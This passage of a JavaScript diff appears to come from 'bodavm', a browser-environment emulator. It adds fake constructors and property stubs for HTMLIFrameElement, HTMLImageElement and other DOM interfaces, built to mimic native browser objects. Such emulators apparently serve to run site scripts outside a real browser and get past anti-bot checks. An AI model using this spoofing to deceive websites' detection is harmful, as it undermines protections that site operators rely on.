bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpagehide_get", arguments); + }, + set: function onpagehide() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpagehide_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onpageshow", { + configurable: true, + enumerable: true, + get: function onpageshow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpageshow_get", arguments); + }, + set: function onpageshow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpageshow_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onpopstate", { + configurable: true, + enumerable: true, + get: function onpopstate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpopstate_get", arguments); + }, + set: function onpopstate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpopstate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onrejectionhandled", { + configurable: true, + enumerable: true, + get: function onrejectionhandled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onrejectionhandled_get", arguments); + }, + set: function onrejectionhandled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onrejectionhandled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onstorage", { + configurable: true, + enumerable: true, + get: function onstorage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onstorage_get", arguments); + }, + set: function onstorage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onstorage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onunhandledrejection", { + configurable: true, + enumerable: true, + get: function onunhandledrejection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunhandledrejection_get", arguments); + }, + set: function onunhandledrejection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunhandledrejection_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onunload", { + configurable: true, + enumerable: true, + get: function onunload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunload_get", arguments); + }, + set: function onunload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunload_set", arguments); + } +}, 'prototype'); +// HTMLHeadElement对象 + +bodavm.memory.globalobj['HTMLHeadElement'] = function HTMLHeadElement() { + console.log_copy('HTMLHeadElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLHeadElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHeadElement'], "HTMLHeadElement"); +bodavm.memory.globalobj['HTMLHeadElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLHeadElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +// HTMLHeadingElement对象 + +bodavm.memory.globalobj['HTMLHeadingElement'] = function HTMLHeadingElement() { + console.log_copy('HTMLHeadingElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLHeadingElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHeadingElement'], "HTMLHeadingElement"); +bodavm.memory.globalobj['HTMLHeadingElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLHeadingElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLHeadingElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHeadingElement'].prototype, "HTMLHeadingElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHeadingElement'].prototype, "HTMLHeadingElement", "align_set", arguments); + } +}, 'prototype'); +// HTMLHRElement对象 + +bodavm.memory.globalobj['HTMLHRElement'] = function HTMLHRElement() { + console.log_copy('HTMLHRElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLHRElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHRElement'], "HTMLHRElement"); +bodavm.memory.globalobj['HTMLHRElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLHRElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLHRElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLHRElement', "color", { + configurable: true, + enumerable: true, + get: function color() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "color_get", arguments); + }, + set: function color() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "color_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLHRElement', "noShade", { + configurable: true, + enumerable: true, + get: function noShade() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "noShade_get", arguments); + }, + set: function noShade() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "noShade_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLHRElement', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "size_get", arguments); + }, + set: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "size_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLHRElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "width_set", arguments); + } +}, 'prototype'); +// HTMLHtmlElement对象 + +bodavm.memory.globalobj['HTMLHtmlElement'] = function HTMLHtmlElement() { + console.log_copy('HTMLHtmlElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLHtmlElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHtmlElement'], "HTMLHtmlElement"); +bodavm.memory.globalobj['HTMLHtmlElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLHtmlElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLHtmlElement', "version", { + configurable: true, + enumerable: true, + get: function version() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHtmlElement'].prototype, "HTMLHtmlElement", "version_get", arguments); + }, + set: function version() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHtmlElement'].prototype, "HTMLHtmlElement", "version_set", arguments); + } +}, 'prototype'); +// HTMLIFrameElement对象 + +bodavm.memory.globalobj['HTMLIFrameElement'] = function HTMLIFrameElement() { + console.log_copy('HTMLIFrameElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLIFrameElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLIFrameElement'], "HTMLIFrameElement"); +bodavm.memory.globalobj['HTMLIFrameElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLIFrameElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "srcdoc", { + configurable: true, + enumerable: true, + get: function srcdoc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "srcdoc_get", arguments); + }, + set: function srcdoc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "srcdoc_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "sandbox", { + configurable: true, + enumerable: true, + get: function sandbox() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "sandbox_get", arguments); + }, + set: function sandbox() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "sandbox_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "allowFullscreen", { + configurable: true, + enumerable: true, + get: function allowFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowFullscreen_get", arguments); + }, + set: function allowFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowFullscreen_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "contentDocument", { + configurable: true, + enumerable: true, + get: function contentDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "contentDocument_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "contentWindow", { + configurable: true, + enumerable: true, + get: function contentWindow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "contentWindow_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "referrerPolicy", { + configurable: true, + enumerable: true, + get: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "referrerPolicy_get", arguments); + }, + set: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "referrerPolicy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "csp", { + configurable: true, + enumerable: true, + get: function csp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "csp_get", arguments); + }, + set: function csp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "csp_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "allow", { + configurable: true, + enumerable: true, + get: function allow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allow_get", arguments); + }, + set: function allow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allow_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "featurePolicy", { + configurable: true, + enumerable: true, + get: function featurePolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "featurePolicy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "scrolling", { + configurable: true, + enumerable: true, + get: function scrolling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "scrolling_get", arguments); + }, + set: function scrolling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "scrolling_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "frameBorder", { + configurable: true, + enumerable: true, + get: function frameBorder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "frameBorder_get", arguments); + }, + set: function frameBorder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "frameBorder_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "longDesc", { + configurable: true, + enumerable: true, + get: function longDesc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "longDesc_get", arguments); + }, + set: function longDesc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "longDesc_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "marginHeight", { + configurable: true, + enumerable: true, + get: function marginHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginHeight_get", arguments); + }, + set: function marginHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginHeight_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "marginWidth", { + configurable: true, + enumerable: true, + get: function marginWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginWidth_get", arguments); + }, + set: function marginWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginWidth_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "getSVGDocument", { + configurable: true, + enumerable: true, + writable: true, + value: function getSVGDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "getSVGDocument", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "loading", { + configurable: true, + enumerable: true, + get: function loading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "loading_get", arguments); + }, + set: function loading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "loading_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "allowPaymentRequest", { + configurable: true, + enumerable: true, + get: function allowPaymentRequest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowPaymentRequest_get", arguments); + }, + set: function allowPaymentRequest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowPaymentRequest_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "credentialless", { + configurable: true, + enumerable: true, + get: function credentialless() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "credentialless_get", arguments); + }, + set: function credentialless() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "credentialless_set", arguments); + } +}, 'prototype'); +// HTMLImageElement对象 + +bodavm.memory.globalobj['HTMLImageElement'] = function HTMLImageElement() { + console.log_copy('HTMLImageElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLImageElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLImageElement'], "HTMLImageElement"); +bodavm.memory.globalobj['HTMLImageElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLImageElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLImageElement', "alt", { + configurable: true, + enumerable: true, + get: function alt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "alt_get", arguments); + }, + set: function alt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "alt_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "srcset", { + configurable: true, + enumerable: true, + get: function srcset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "srcset_get", arguments); + }, + set: function srcset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "srcset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "sizes", { + configurable: true, + enumerable: true, + get: function sizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "sizes_get", arguments); + }, + set: function sizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "sizes_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "crossOrigin", { + configurable: true, + enumerable: true, + get: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "crossOrigin_get", arguments); + }, + set: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "crossOrigin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "useMap", { + configurable: true, + enumerable: true, + get: function useMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "useMap_get", arguments); + }, + set: function useMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "useMap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "isMap", { + configurable: true, + enumerable: true, + get: function isMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "isMap_get", arguments); + }, + set: function isMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "isMap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "naturalWidth", { + configurable: true, + enumerable: true, + get: function naturalWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "naturalWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "naturalHeight", { + configurable: true, + enumerable: true, + get: function naturalHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "naturalHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "complete", { + configurable: true, + enumerable: true, + get: function complete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "complete_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "currentSrc", { + configurable: true, + enumerable: true, + get: function currentSrc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "currentSrc_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "referrerPolicy", { + configurable: true, + enumerable: true, + get: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "referrerPolicy_get", arguments); + }, + set: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "referrerPolicy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "decoding", { + configurable: true, + enumerable: true, + get: function decoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "decoding_get", arguments); + }, + set: function decoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "decoding_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "lowsrc", { + configurable: true, + enumerable: true, + get: function lowsrc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "lowsrc_get", arguments); + }, + set: function lowsrc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "lowsrc_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "hspace", { + configurable: true, + enumerable: true, + get: function hspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "hspace_get", arguments); + }, + set: function hspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "hspace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "vspace", { + configurable: true, + enumerable: true, + get: function vspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "vspace_get", arguments); + }, + set: function vspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "vspace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "longDesc", { + configurable: true, + enumerable: true, + get: function longDesc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "longDesc_get", arguments); + }, + set: function longDesc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "longDesc_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "border", { + configurable: true, + enumerable: true, + get: function border() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "border_get", arguments); + }, + set: 